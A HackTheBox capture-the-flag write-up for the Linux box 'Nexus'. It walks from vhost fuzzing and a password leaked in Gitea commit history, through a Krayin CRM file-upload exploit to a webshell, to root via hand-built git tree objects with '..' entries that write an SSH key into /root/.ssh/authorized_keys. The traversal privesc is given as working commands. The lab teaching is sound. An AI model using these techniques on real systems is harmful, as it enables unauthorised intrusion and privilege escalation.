← Back to all writeups

HTB: Nexus — Git Tree Path Traversal to Root

HACKTHEBOX EASY LINUX GITEA CVE-2026-38526 GIT PLUMBING
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations  |  Season 11

> OVERVIEW

Nexus is an Easy-rated Linux box, but the root path packs in a technique most Easy boxes never touch: crafting raw git tree objects by hand to smuggle a directory-traversal filename past an application's naive path handling. Everything before that — a leaked DB password sitting in git history, a job posting leaking a valid email address, and a very recent Krayin CRM file upload CVE — is straightforward. The privesc is where this one earns its keep.

> RECON

sudo nmap -sV -sC -p- --min-rate 5000 <target>

Only two ports open: 22 (SSH) and 80 (nginx, redirecting to nexus.htb). The main site is a corporate energy-company landing page. VHost fuzzing against the base domain turned up the real attack surface:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.nexus.htb" \
  -u http://nexus.htb/ \
  -fs <baseline_size>
VhostService
git.nexus.htbGitea (self-hosted git), publicly browsable
billing.nexus.htbKrayin CRM admin login

The main site's careers section also leaked a real internal email address in its "hiring manager" contact line — j.matthew@nexus.htb — which turned out to be the exact account needed to log into the CRM later.

> GITEA — A CREDENTIAL "REMOVED" BUT NOT PURGED

Gitea's /explore/repos page requires no authentication and listed a single public repository: admin/krayin-docker-setup. Browsing its file tree showed a docker-compose.yml and a .env — but the live .env had its DB_PASSWORD field blanked out. The repo had two commits, though, and Gitea serves raw commit diffs directly:

curl -s http://git.nexus.htb/admin/krayin-docker-setup/commit/<first_commit_hash>.diff
The first commit added the .env file with a real password in plain text. The second commit "fixed" it by blanking the field — but never rewrote history, so the original value was sitting untouched in the older commit, fully readable without any git clone or authentication at all.

That leaked password (from the Docker setup repo) wasn't the one that mattered in the end, but it confirmed the pattern and got the login flow moving: paired with the j.matthew@nexus.htb address from the careers page, it worked as valid Krayin CRM admin credentials.

> FOOTHOLD — KRAYIN CRM, CVE-2026-38526

Krayin CRM (Webkul's open-source Laravel CRM) v2.2.x has a critical authenticated arbitrary file upload vulnerability in its TinyMCE rich-text editor integration:

The upload handler performs no server-side validation on file extension or content type. Anything uploaded through it lands in a web-accessible /storage/tinymce/ directory, meaning a PHP webshell uploaded through the "image" upload dialog is directly reachable and executable via a normal GET request afterward.

A public PoC automates login, upload, and verification in one shot:

git clone https://github.com/NathanHimself/CVE-2026-38526-PoC
cd CVE-2026-38526-PoC
python3 exploit.py -t http://billing.nexus.htb \
  -u j.matthew@nexus.htb -p '<redacted>' -c id

Confirmed command execution as www-data. Swapping the -c payload for a one-liner reverse shell handed over an interactive session on the box.

> PIVOT TO A REAL USER

The live Krayin .env on disk (as opposed to the sanitized one in Gitea) had a real, current database password:

find / -name ".env" 2>/dev/null | grep -i krayin
cat /var/www/krayin/.env

Checking /etc/passwd showed exactly one account with a real login shell besides root — jones. The DB password worked directly over SSH:

ssh jones@nexus.htb

User flag secured.

> PRIVESC — GITEA TEMPLATE SYNC PATH TRAVERSAL

A systemd timer runs every 60 seconds, executing a Python script as root:

[Unit]
Description=Sync Gitea templates

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

Reading the script revealed its logic: it authenticates to the local Gitea API, finds any repositories flagged as template repositories, walks each one's git tree with git ls-tree -r HEAD, and writes every entry out to a staging directory:

for mode, objhash, filepath in entries:
    target = os.path.join(stage_path, filepath)
    ...
    with open(target, 'wb') as f:
        f.write(cat_result.stdout)
filepath comes straight from the tree entries recorded inside the repository — and while a normal git add ../../etc/passwd is blocked by git's working-tree safeguards, that protection lives in the porcelain commands, not in the underlying object model. Git's low-level plumbing (git hash-object, git mktree, git commit-tree) will happily build a tree object containing an entry literally named .. — and nested trees of those, walked recursively by ls-tree -r, reconstruct a full traversal path one directory-hop at a time. os.path.join in the script does zero sanitization, so once the OS resolves those .. components, the write lands wherever the attacker pointed it — including outside the staging directory entirely.

Building the payload. A single mktree entry containing a path with slashes is rejected outright (fatal: path ... contains slash) — git's plumbing still enforces that a tree entry is a single path component. The way around it is building the tree structure by hand, one directory level at a time, bottom-up:

# 1. Blob = attacker's SSH public key
BLOB_HASH=$(cat ~/.ssh/nexus_root.pub | git hash-object -w --stdin)

# 2. Tree: { authorized_keys -> blob }
TREE_KEYS=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB_HASH" | git mktree)

# 3. Tree: { .ssh -> TREE_KEYS }
TREE_SSH=$(printf "040000 tree %s\t.ssh\n" "$TREE_KEYS" | git mktree)

# 4. Tree: { root -> TREE_SSH }
TREE_ROOT=$(printf "040000 tree %s\troot\n" "$TREE_SSH" | git mktree)

# 5. Wrap in ".." trees, one level per mktree call, enough to
#    walk back past the staging directory's full depth
CURRENT=$TREE_ROOT
for i in 1 2 3 4 5 6; do
  CURRENT=$(printf "040000 tree %s\t..\n" "$CURRENT" | git mktree)
done

# 6. Commit the resulting tree and force-push it as the branch head
COMMIT_HASH=$(git commit-tree $CURRENT -m "traversal payload")
git update-ref refs/heads/main $COMMIT_HASH
git push origin main --force
Extra .. levels beyond what's strictly needed are harmless — POSIX path resolution treats .. at the filesystem root as a no-op rather than an error, so it's safe to overshoot the exact depth rather than count it precisely.

The final piece: the sync script only processes repositories flagged as template repositories in Gitea — a setting entirely separate from repo creation, tucked into the repo's own Settings page ("Make repository a template"). Easy to miss on a first pass; the sync log kept reporting Found 0 template repo(s) until that checkbox was actually saved.

Once flagged, the next timer cycle (within 60 seconds) picked up the repo, walked the crafted tree, and wrote the attacker's public key straight into /root/.ssh/authorized_keys:

ssh -i ~/.ssh/nexus_root root@nexus.htb
root@nexus:~# cat /root/root.txt
[root flag captured ✅]

> ATTACK CHAIN SUMMARY

  1. Publicly browsable Gitea repo's commit history leaks a database password that was "removed" in a later commit but never purged from history
  2. Company careers page leaks a real internal employee email address
  3. Email + leaked password combination logs into Krayin CRM as admin
  4. Authenticated arbitrary file upload (CVE-2026-38526) via TinyMCE's upload endpoint → PHP webshell → www-data
  5. Live app config on disk leaks a second, real database password
  6. Password reuse gets SSH access as the box's only real-shell user
  7. Root-run systemd timer syncs any Gitea repo flagged as a "template," writing tree entries to disk with zero path sanitization
  8. Hand-crafted nested git tree objects (using literal .. path components via low-level plumbing, not git add) escape the staging directory
  9. Payload writes an attacker SSH key directly into /root/.ssh/authorized_keys → root

> LESSONS LEARNED


Scarif Operations  |  th3m4dh4ck3r.com  |  CPTS prep, Season 11